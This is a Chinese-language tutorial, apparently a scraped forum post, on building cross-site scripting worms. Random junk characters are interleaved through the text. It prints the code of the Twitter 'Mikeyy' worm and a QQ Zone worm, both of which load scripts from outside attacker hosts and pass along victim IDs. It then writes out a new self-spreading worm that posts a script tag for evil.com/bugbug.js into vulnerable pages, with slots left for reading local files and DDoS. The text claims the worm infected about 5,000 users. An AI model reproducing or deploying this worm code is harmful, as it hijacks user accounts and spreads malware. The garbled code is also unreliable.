# S% L9 j$ [* f6 Y! m. D 13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy."; " U! G) u* c+ M' i' o& `5 K
; K, m& X( U% J+ M
14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
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15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
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) a- t" X" d* [1 S5 J5 \4 N 16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";
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17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy."; ( O, `7 b3 d8 A4 ~
* l1 X1 n n3 A- | D$ U 18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy."; 6 X1 r* d5 }7 B% U- ]& o
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19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy."; 5 n0 ^. n& J, `9 m! Y
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20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
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- R* S1 Z! y5 z3 D+ U0 z1 v2 a 21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";
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22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
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3 i2 K, _+ t7 t 23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe"; & w( t" n. |+ g( O
% n1 M1 S* S K2 w2 g 24. ) c J' ^+ C9 Q! i8 Q7 l2 _1 Y
, O. |; G% X6 I2 l3 _
25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
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26. var updateEncode=urlencode(randomUpdate[genRand]); - Z9 D% V0 G! K/ c5 i
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27.
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D! c( e+ v' y) @ 28. var ajaxConn= new XHConn();
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29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true"); : E' ]# e1 u4 ]
% J% u# o) s" }6 `/ B# L1 n5 m/ i 30. var _0xf81bx1c="Mikeyy";
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0 \5 k5 A- }+ W 31. var updateEncode=urlencode(_0xf81bx1c);
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32. var ajaxConn1= new XHConn();
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! m. `& Y' v6 j7 P- d: U 33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");
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34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333"; 5 x1 G4 L! @- L2 R' ?
C0 `9 \- V0 u7 ^* e- ` 35. var XSS=urlencode(genXSS); ! z6 a) }, \" z6 q8 A
2 g- z) y% ]! G; o3 d% s2 C 36. var ajaxConn2= new XHConn();
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* A/ a' ~, b$ X: a6 Z 37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");
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. n" O2 b/ ?) U9 m0 R# w2 ^3 A/ ]0 F 39. } ;
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40. setTimeout(wait(),5250);
) E$ h3 Q0 P# a5 u* a5 ?复制代码QQ空间XSSfunction killErrors() {return true;}4 T. V3 v1 ` k- Q
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window.onerror=killErrors;/ B" v6 N& f* N; w/ l
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var shendu;shendu=4;6 w+ V1 w& L0 L$ ?1 J+ R! ?6 C
- a- u G# ?0 v+ l/ }2 u. V! A//---------------global---v------------------------------------------
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//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?
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/ E( S0 K+ W4 | _- vvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
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. d6 e' {0 C$ j+ H' N! U2 gvar myblogurl=new Array();var myblogid=new Array();! l8 L% \' ?% @- k
/ N6 ~) y- U$ o% B- Q, N" | var gurl=document.location.href;& W6 `. C$ g6 Y5 V Q4 A% C6 @8 c
( `4 L8 H+ m( _: M) `; _ var gurle=gurl.indexOf("com/");' d3 I5 x0 g, J8 n/ p/ v8 p1 W
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gurl=gurl.substring(0,gurle+3);
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; w$ H+ Y+ ~$ X, Q! T8 o9 j8 }/ ` var visitorID=top.document.documentElement.outerHTML;
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4 n! V9 d/ t) g% m5 T6 y var cookieS=visitorID.indexOf("g_iLoginUin = ");
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visitorID=visitorID.substring(cookieS+14);% @% \/ H- P% K1 [5 X6 S0 @
x6 a6 F# ]' v! a9 q- }
cookieS=visitorID.indexOf(",");5 u2 p- j- H t0 }% L0 G
& Y& r+ V$ |! |( } visitorID=visitorID.substring(0,cookieS);
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get_my_blog(visitorID);$ g7 ]8 C. O! k7 Z# \$ H- Y# V
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DOshuamy();) B1 [/ Y t6 d
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& e7 I* L* f" B! i) L8 i1 h3 K% R
//挂马
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function DOshuamy(){
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var ssr=document.getElementById("veryTitle");4 e2 w+ w6 q- i" t
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ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>"); C: g$ {- A) m. Q
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}, z) @$ e" X& e( s8 V& x, z: }) n: L
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0 G- P( ~& t+ u8 B* \! y G) Q
% ` Q W1 V5 S5 y S//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?3 P b, a' q% ]
; T. |% t: e, Ofunction get_my_blog(visitorID){4 |: v$ I& t- x; v8 b8 \; i
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userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
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( `2 r' V6 N5 @' B, I xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象
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if(xhr){ //成功就执行下面的' V$ Z! e2 h2 v0 I
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xhr.open("GET",userurl,false); //以GET方式打开定义的URL
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q$ M/ l$ H) T8 Y3 r; C xhr.send();guest=xhr.responseText;8 k8 ^: \4 L0 U( r r6 o; R
6 o. A. L: S. G2 z, a get_my_blogurl(guest); //执行这个函数# |% ~- C$ m& [, v4 h5 F- J0 D% p
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//这里似乎是判断没有登录的
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function get_my_blogurl(guest){
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var mybloglist=guest;8 D+ g+ a& q/ G5 a. K( D" f* D
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var myurls;var blogids;var blogide;
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for(i=0;i<shendu;i++){
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3 Q: p6 A: { N$ L' _4 t4 |8 P/ S myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了
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if(myurls!=-1){ //找到了就执行下面的* |2 v2 x! T. j0 g
! w! d1 E r* A0 F, b o/ c mybloglist=mybloglist.substring(myurls+11);
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* d1 _# x! D A7 L- F. A c. D$ h8 p myurls=mybloglist.indexOf(')');! K; Q5 G' x2 n' [. L N7 F
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myblogid=mybloglist.substring(0,myurls); G- d V! ?4 g/ M1 A4 E/ l3 d6 [
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}else{break;}
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}$ e" X# Y1 J: ^) i$ c6 M
# \2 x. J( Z r5 @# [; R* [3 hget_my_testself(); //执行这个函数
* K% \/ c: K6 N# R" Z2 ]! n0 {8 L" g3 [9 Q" s
}% F6 t1 J0 q9 i$ S- r& w6 F
2 T: T% Y' r u. R/ R; q
! n& v- @1 V: E, R6 t# \* X% `/ h& g. j+ L' ~+ D
//这里往哪跳就不知道了3 B5 E; x" N. C, }
, s) ?8 Q' }0 T' c# yfunction get_my_testself(){0 Z7 b% c" e1 @
! t8 g* T) x5 `& W for(i=0;i<myblogid.length;i++){ //获得blogid的值
5 ^# b/ [4 ]6 U. J- A6 T' L( ]; h5 }2 D! [8 Q; O, W7 _' v: @8 X
var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random(); _- a$ ~1 a8 l* K
9 Z4 m" T& g4 m var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象
; X, q$ {9 Z: s
0 \/ B y( G) @8 y if(xhr2){ //如果成功. F+ `% P* Z; x" r5 N$ k
; D* R4 J+ I2 w2 \ xhr2.open("GET",url,false); //打开上面的那个url
0 K! ~/ y m9 o
/ t# n# @- s' Y# R xhr2.send();
3 @: ]3 ?! `7 q! y Z; Q
/ }8 t! k! A5 @ c5 s! s guest2=xhr2.responseText;
1 R0 ^2 o! ^$ V9 X d7 i% I
) I5 @1 \1 B) j) V+ L+ q var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?
4 r# x. N! \1 v1 P! s) g |, ]6 L' E7 X$ e7 p/ a
var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串" ^* @9 t) G$ y% i s4 j! a
% j$ W( L/ c/ Y6 l, B: }2 X1 N5 ]
if(mycheckmydoit!="-1"){ //返回-1则代表没找到( Y( i2 R1 W% S' u0 a/ j# x1 r
$ J( k; i0 B0 Z; G( A3 z# U$ I targetblogurlid=myblogid;
2 |0 K0 _) \; Q: h O
2 D3 U/ Y: H; E4 O' R" j' g add_jsdel(visitorID,targetblogurlid,gurl); //执行它
l% G/ S7 v4 Z, i
$ k8 f5 u9 y' X6 s, S/ g break;% U* I) K5 ]0 ]! _) ]: Q5 x" m/ k
$ A4 [. i8 X7 t+ ^
}
0 d0 H* c: ?! t5 I) z9 A% E, Y. E& u: \
if(mycheckit=="-1"){6 B# X: p3 ^7 t; @" F' s
/ W) R7 T. l) u5 ]
targetblogurlid=myblogid;
, |8 f3 S" ^7 F L5 Q9 Y/ n: B+ d T& `. K
add_js(visitorID,targetblogurlid,gurl); //执行它) y% j3 Y7 f. Q0 ]
1 A$ E1 b$ B( n( v4 r break;
# V4 W8 b0 D% ]3 u, \# A+ p4 G+ l X/ Q) U/ e
}
' h: g; j# B3 Y
. @) u# {5 m2 _ }
+ G( t6 N0 b0 L2 L2 z# o3 k2 p i% }' p; g% {
}
1 K2 m8 \7 b' {' Z. g' P+ T. k: F& O6 Q3 J$ C3 h$ E5 K3 H
}
! a, }: \! O# n$ c" b4 v+ n' W
; [4 y! e1 [! B! g$ t3 K8 S( j' B" J) ]& f8 G' l2 H: R
3 n5 E ~8 H. l7 r$ ]4 V; x6 D% G
//-------------------------------------- ) p+ `6 G. U* l, Z! m2 q
6 P1 d' z; r5 A+ q/ z Z//根据浏览器创建一个XMLHttpRequest对象
9 [# g0 y3 F$ \1 f, ?0 c+ j& {/ p2 q) ~# v% H; ]
function createXMLHttpRequest(){: i" I/ d1 J( m
6 o/ U( x" E0 Q
var XMLhttpObject=null;
# L/ H& u( w6 A" u: n
0 m$ A5 {! g2 a0 N: @- } if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}
7 y2 f+ A# e( u! w( l* w6 |( F0 {; D1 H4 R+ Z1 e
else
) w/ x" Q9 V/ o2 s- s. ?; W. f
7 _/ u$ x, Q# C! l& P% `( b { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
: n: V- k0 P4 Y+ n( s p& P4 f: J& ]/ B( U. O! Y K+ ^
for(var i=0;i<MSXML.length;i++)
5 Y% H. r$ R3 [0 r+ N
1 l; y t& _3 m- n6 ?( n {
( S, o6 D& d7 A& G# L+ D; u# F! T3 D% V9 V; M3 {3 v' z1 X& L. n3 v. G
try
; W5 P; T4 S; m" k- t: @' Z, r" L- G: @3 C, v* v
{ / }9 Z% A7 o( I5 v5 H# R* ?$ z
) i# b: |+ Z# }5 Z2 W" L1 p XMLhttpObject=new ActiveXObject(MSXML); % |8 Y8 }' a, x
% s- M. M# O* c( g, ^2 Q9 i
break;
- ~) q$ P2 j" W# [- k; `
' S V) D" b* i! y# S }
4 Y3 S9 q7 ~1 W* ?5 y( r3 Y2 }! x( K- ^/ T$ R2 B) d6 Y
catch (ex) { ' Z5 `0 D- i$ }2 I" l9 I
0 R5 b. w/ J' Q
}
: D" E- ]/ W3 f2 }# |( T0 Q! h$ G3 t2 U! G
} / _1 D! ~" o2 a7 F4 M' L. ^8 e- q
: q, R, }- L) Y5 A& _ }
; E# [. L, P6 k) u9 K
3 [# P# h% O, q& ]5 i6 p" sreturn XMLhttpObject;' }+ W W, d. I3 T U( o
/ \) P) S; v% [1 F( G) K
} - e' G5 s( ?& w$ _; ~: |9 L5 c
! d. L+ I/ b9 |) K" T2 |/ T c
- w3 j+ P$ N- T
/ \: e' [% m p) N8 _4 |//这里就是感染部分了
% E: M' @- ?; p4 d* P, }' Q# M1 ?9 V& @6 M& P2 Z
function add_js(visitorID,targetblogurlid,gurl){
- f, l# m' r8 D5 n4 p; n* a3 ~" s+ M1 [1 Y
var s2=document.createElement('script');
4 L: v, X, g. j4 y. l
8 O/ I, |( `# q1 Gs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
8 \" T" r* w, a1 X! @& f# G9 d" L; \, s& e0 L
s2.type='text/javascript';4 c# ?4 k/ v% g" X$ W1 t4 a, b6 R; H% l
$ p1 {) t& y% z' \& p" x. u) B$ G* U
document.getElementsByTagName('head').item(0).appendChild(s2);. c% t3 B; i. A4 D2 o' k
. u" z. @* E4 b+ y) Q( O}6 x2 e) B" p$ ?. t8 p. _
1 m5 V- D- d0 N' l& K8 ?
5 r9 W6 `& w. T) h( r( j
! i& C! M+ ^# ?. U* \3 {) E. R) [
function add_jsdel(visitorID,targetblogurlid,gurl){4 {8 l# I* `8 q/ N: k% w
1 `' A, W3 h$ j9 r
var s2=document.createElement('script');% |( A2 w8 E5 D
7 K8 |4 ~ n }! x* _s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
* m: v( ?' y6 {; R; a7 Z: u- ]
. B: p+ f% F9 ~% i1 T: _* B3 qs2.type='text/javascript';2 d* P9 P3 g2 u- x1 J( R8 N# i
6 @: Q8 \* H1 O K M% P0 fdocument.getElementsByTagName('head').item(0).appendChild(s2);& E/ f' W$ v" D# b
) E. C0 T* d- }
}6 ^$ T$ q4 S4 D3 j6 ^% Z5 N! |
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
- U' o/ i% o4 O, P8 A. |1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
U3 m/ b2 V M7 s# y$ `6 m' w8 i. T" L# L/ l3 N0 ^
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
7 f6 G/ v4 O4 N: N3 u) Y1 W
- @8 ^5 k: U* O4 G6 W综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~: u+ q$ J) w9 i4 |: A! A
$ \8 ~8 H. {" `5 m& T8 `
! M% g' C V- W! a, b
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
- g$ @# Q& C; f$ j9 x5 L: ?! i u3 X/ ]* |9 F$ |1 V7 s2 _5 r
首先,自然是判断不同浏览器,创建不同的对象var request = false;3 P' i( H# b2 X8 H/ W! a
- M) Q7 }: o) A
if(window.XMLHttpRequest) {+ V2 R# b, f/ D( r9 {5 L/ l) b
: T: C# H4 T! F* ~2 c8 b
request = new XMLHttpRequest();
- D9 y1 Q2 G( W
& u3 N; t4 x6 F2 hif(request.overrideMimeType) {
3 f2 ]+ f+ f6 m5 u. T9 g& A# [( K) `+ @
request.overrideMimeType('text/xml');
( b+ f8 Z1 m* Y& _1 r# b
$ b3 k# z9 d4 j7 o' P: x}
0 u @6 l! N+ P' ^9 w
' w6 H, [# Q; B; y} else if(window.ActiveXObject) {3 R7 U! Y7 j- y8 `
6 }0 P' V5 `* B4 u! e" _
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
. B- |' c/ n7 \+ J! |- S
+ L: N H, ]* e% g, I5 Ofor(var i=0; i<versions.length; i++) {
1 }; s1 Z" F9 e7 e+ J. @
3 O( @4 V6 \0 ]try {
( c W; d8 J2 Q0 ^$ k2 b( I* _4 a4 ^# S: L& A; r+ ?; e, `
request = new ActiveXObject(versions);
8 A: ^9 V* s8 c" ]/ A
2 ~! Y, ?" ~$ X, P- j} catch(e) {}
v# b. D5 m# ?' V0 a H3 R/ k9 I q8 X
}
: d5 J7 K1 R% f% } d
5 E( z8 N- d( }5 u% a8 K- L1 O; y}' `. K6 p `/ }6 d
; z- m- y! e" txmlHttpReq=request;! h" B8 y- W P2 {
复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){. F0 P0 }) _! ?# y
) w4 x% Z+ P( | g1 F
var Browser_Name=navigator.appName;! a2 S& g2 g* T2 O P9 j6 B
% }) }! x/ L7 @8 \/ ^ var Browser_Version=parseFloat(navigator.appVersion);
d* Y. b$ G+ S' r8 R: u: |! c/ ~! v6 {/ r' \8 V) z. K- }
var Browser_Agent=navigator.userAgent;5 g1 c6 z* E& p0 d
2 s. O; l$ t1 V5 ?9 [
1 S9 X, r$ j% _8 m) L3 L
9 r4 }3 z( H: O; l! p var Actual_Version,Actual_Name;- h* w) |' f9 `, h, C' V
) m. R' e! k/ m : g- `# s: Z6 v
6 Q; S$ u: x$ C* C3 y8 N! G+ i var is_IE=(Browser_Name=="Microsoft Internet Explorer");- Y- [7 L j; P+ D4 U3 o6 ?7 N
( \' f E4 R* \
var is_NN=(Browser_Name=="Netscape");: m w& o. L8 V; _
/ \: E; V5 M0 B& s' G4 j( L, _; Y var is_Ch=(Browser_Name=="Chrome");
! U% G# X+ U% l. U! `; `2 E; o& e) d* p
5 _' f$ d6 j+ Y# |
: K3 t( B/ ?( v* [ if(is_NN){# u7 |1 l1 Y; N* W* q" J/ i
' e4 m# Y8 k0 A& s2 n* B6 y( u if(Browser_Version>=5.0){" d7 H, ?5 g/ r/ Q9 c8 D4 C. o
# Z- c: { C$ `8 Z7 B# I var Split_Sign=Browser_Agent.lastIndexOf("/");0 p) G4 d, b. i" j$ j
, d- G! K! x) X3 P6 X$ V
var Version=Browser_Agent.indexOf(" ",Split_Sign);
% e. O, F" k6 W' @0 ^1 G+ ] Z. y% T
var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
8 U8 e& p4 x* ]* [# M/ D, v
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0 E6 G1 X0 W7 B5 L0 b
Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);9 I0 S- j; \& G: T! D, ?
2 X! h# J. E2 I4 E% ]' \$ r
Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);* ~' y. Q' V! W: e7 b9 _
6 U0 d$ i9 ], B- d8 `8 c
}$ u. s0 _6 y! K! v) \$ _
1 P! V/ A& l0 _: c else{' \# Y' \1 b0 T1 U
$ Z$ n9 N) j( S* m, B Actual_Version=Browser_Version;
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Actual_Name=Browser_Name;' D0 g( n: {! G3 L* `. D
3 Z. J4 o$ j- j) S' J- { }
% @: V5 W. T- m/ \' D5 K( q
+ t- c7 J9 {9 R* e4 } }: G5 j9 ?. M! V T3 _) p: J# t* O
+ d6 N7 D W0 ]6 w, [, E* Z' m8 k
else if(is_IE){
) B B9 J- f. `5 L; x: O r# V% u) l) q6 y* L) P
var Version_Start=Browser_Agent.indexOf("MSIE");1 W' f( E0 k) f" L/ W" w
& O- d8 A+ m/ ?
var Version_End=Browser_Agent.indexOf(";",Version_Start);3 i: q1 F7 j; V+ \
& v* i9 L% _; y3 R/ R; `% U Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)/ r5 K1 d% b2 U2 E
% d; @' I7 `! C" V0 n
Actual_Name=Browser_Name;
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! B7 _4 \% k+ i: q
, B3 r$ f& r5 @
4 r9 h$ Y. A/ r8 ]% S, j1 K0 w if(Browser_Agent.indexOf("Maxthon")!=-1){
2 Z% S T5 _) A$ C$ t' e' J1 ~2 n& R5 M. g
Actual_Name+="(Maxthon)";
% Q y3 F/ a& j4 _
5 s) b, _. W2 {9 j" H6 c: r$ x }
% a$ {4 O! x; ?9 @$ J
' a. b f5 d8 _2 A1 F else if(Browser_Agent.indexOf("Opera")!=-1){
, B2 a9 q# y# Y
$ d2 P+ ]$ \( f% l9 N- {; F Actual_Name="Opera";/ a( v: z! m& s6 V- G2 I8 R
4 J- B6 {2 p" ~ h
var tempstart=Browser_Agent.indexOf("Opera");
x- R- i- a9 X+ E8 a' {% ? G' Q$ t
var tempend=Browser_Agent.length;
+ v d7 ^$ e; |! P. C5 x5 q% i$ c2 L# {. X; H/ ?
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
- E! N. {5 U: e/ o, T) M3 ?% c+ z
}
5 E& i# [! }8 J
$ W _! |, R" ^; u9 C( `8 X( n }! k6 t* s& a) f1 Y! v
) `4 W& G5 u. r: {( z8 n) _ else if(is_Ch){7 a5 M* H D) c2 B/ d
2 e0 R ~8 N) @6 n6 S var Version_Start=Browser_Agent.indexOf("Chrome");0 E/ h. f. @# e4 J
7 G: j; \* [- v9 t9 o' d- w
var Version_End=Browser_Agent.indexOf(";",Version_Start);, M7 X7 G& @0 L0 |2 `0 K
7 l% v! R* F9 r5 f* a Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)9 h& P6 c* r# o& _0 f
$ g3 m" r4 q" ]& g
Actual_Name=Browser_Name;4 x" `4 a7 E& Y U
; T4 T) }: E% `) x: I
6 `2 k8 E b* @2 e! V+ @5 e
& m3 j% K+ k' S n* T$ D ~
if(Browser_Agent.indexOf("Maxthon")!=-1){
3 D8 q2 V/ I" s! k- T+ W4 w9 n3 g: _& t2 G. Y" g3 D! K3 Z
Actual_Name+="(Maxthon)";& [ J5 \$ f; H7 ?! T0 \" l$ S4 L
# J) D3 m6 L3 M+ A4 f$ S
}+ _- G" p( }1 A Q
9 c; S" {/ O1 h h5 p) f# j
else if(Browser_Agent.indexOf("Opera")!=-1){
0 b4 A' f% S9 X' f6 [# v
4 u5 c8 J8 }% o* J0 t Actual_Name="Opera";
8 t [% D# ]4 @# T3 p5 z5 w* k& ?- p
var tempstart=Browser_Agent.indexOf("Opera");% j& X% x! _2 p$ o
9 I- g c2 E7 r& h d
var tempend=Browser_Agent.length;
" \: B2 r4 i# a& }1 d3 o
8 V0 ?7 U. j/ ^# a1 p# x Actual_Version=Browser_Agent.substring(tempstart+6,tempend)1 Q9 Y5 g5 q/ f0 R x
) a! y6 b' Q0 z" d }
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) p1 \, \& Z* {; \9 w! X( w }+ ~+ v: n" J; u% Y. n, T7 L
- v' Z K% K; ^9 s! l1 H. T
else{1 |) j$ U7 B4 U3 U" a1 i
1 d5 a8 V5 ], K2 t Actual_Name="Unknown Navigator"8 [/ J1 @, f! Y5 w+ u
& J9 d# K- Z, ?$ S% \ Actual_Version="Unknown Version"6 f8 {1 a! `# k
! R4 S' H, ^! D! c
}+ x: T* o: s. _
, g( e2 f! c- F% b- B; \
- C5 C1 `/ N( ^/ P5 L2 t8 `4 c# P$ ~ L1 w, E( F: I/ ^* r
navigator.Actual_Name=Actual_Name;- e9 @4 p& ]' [' D9 L
( J% N3 Q" L, X& z( f( M navigator.Actual_Version=Actual_Version;
5 N6 G# `2 n$ V G9 J: G) B
2 Y0 b* @0 I* l% u
! j/ P! K5 i1 y2 |0 T( Y2 q/ Y: G6 g; J+ \2 p' e4 n2 B u. l( `
this.Name=Actual_Name;
' t7 o1 d# ^# x4 t# N
9 r/ k1 Y* `$ ~0 X. W this.Version=Actual_Version;
4 ?" ^; q; M6 q: E/ w$ N' A1 p0 C4 ~2 a: p
}
. F0 X0 Q' Y( \/ |& @
( D' f0 |) C6 ?* _0 {8 r browserinfo();; A! Q8 Z, ]8 O
& V, [' |: V$ E
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
$ i0 M% U6 Q" t* P
# O4 E6 M) K4 ~- E8 f if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
% w2 X b: `. ]. B9 }) h) r
+ M) g, o* _6 S1 t: C, B' e if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}* f& s' f5 K* X0 m* E1 g
5 {/ y: s7 Y, e7 P if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
; j1 w- E' H/ b& J# e# F/ q复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码! K0 e" w; {2 d& V. n% Q S9 i2 }5 w
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码% e( _$ F- f' L% Q1 \
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.* ~8 z( j# c. a6 Y. A
$ V# I# J, Y' G( E
xmlHttpReq.send(null);
+ F# M# _- c$ ~' L) S7 n- t- w' S: j; ]/ a
var resource = xmlHttpReq.responseText;
" @' m" U% p+ C: a; M* X8 C8 ^, w8 ` J4 }1 o
var id=0;var result;
4 `0 G$ O- r r5 I7 ^
# h! G+ Z3 X4 d8 I/ s0 uvar patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.. V1 H, D/ u( P5 D. K
. }/ B4 u; A& o8 k6 i J& S
while ((result = patt.exec(resource)) != null) {
; E+ L$ t4 G) f& G1 c
- g3 Z' A/ @6 w2 A8 n2 Did++;
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复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.
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no=resource.search(/my name is/);, k# B# w) a2 x& ]9 e
. v$ g+ ?9 `0 @var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
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var post="wd="+wd;
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xmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");2 |. J' _. j" g h% M
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xmlHttpReq.setRequestHeader("content-length",post.length);
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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xmlHttpReq.send(post);4 R7 J+ N% }6 N$ Y
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复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{3 D1 @0 Y( N+ n
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var no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方+ ]. H) S$ j! ^8 C7 s5 |& E
# b0 F4 K" e' jvar namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得./ e3 b9 n& j) f
0 f) v9 n+ Q) z: R5 Mvar wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.% G) {! L7 g. a
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xmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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xmlHttpReq.setRequestHeader("content-length",post.length); # P! L T3 U& j3 [) m
' ^6 |: U# G6 R! A: |# VxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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xmlHttpReq.send(post); //把传播的信息 POST出去.
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}
+ z# k+ Y$ f3 N2 u复制代码-----------------------------------------------------总结-------------------------------------------------------------------
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- _6 U. A( k3 D2 a+ A本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.9 {1 m+ @, c) [* K
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
9 c; |& W& i" c. |# O2 ?" j操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.3 W1 o9 W+ R/ r- L4 \2 t. b4 v
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9 o2 j; a( o. @- k, b6 a本文引用文档资料:6 x6 W9 _6 X2 d; V# e
- M( l# l7 E, J"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
8 Q) E) g ]4 v! dOther XmlHttpRequest tricks (Amit Klein, January 2003)
7 `; k+ b" n, o- e"Cross Site Tracing" (Jeremiah Grossman, January 2003)% d2 ^8 a) T8 X+ @) Y# \
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog% g; a ~" c6 e; Q" d- O# T
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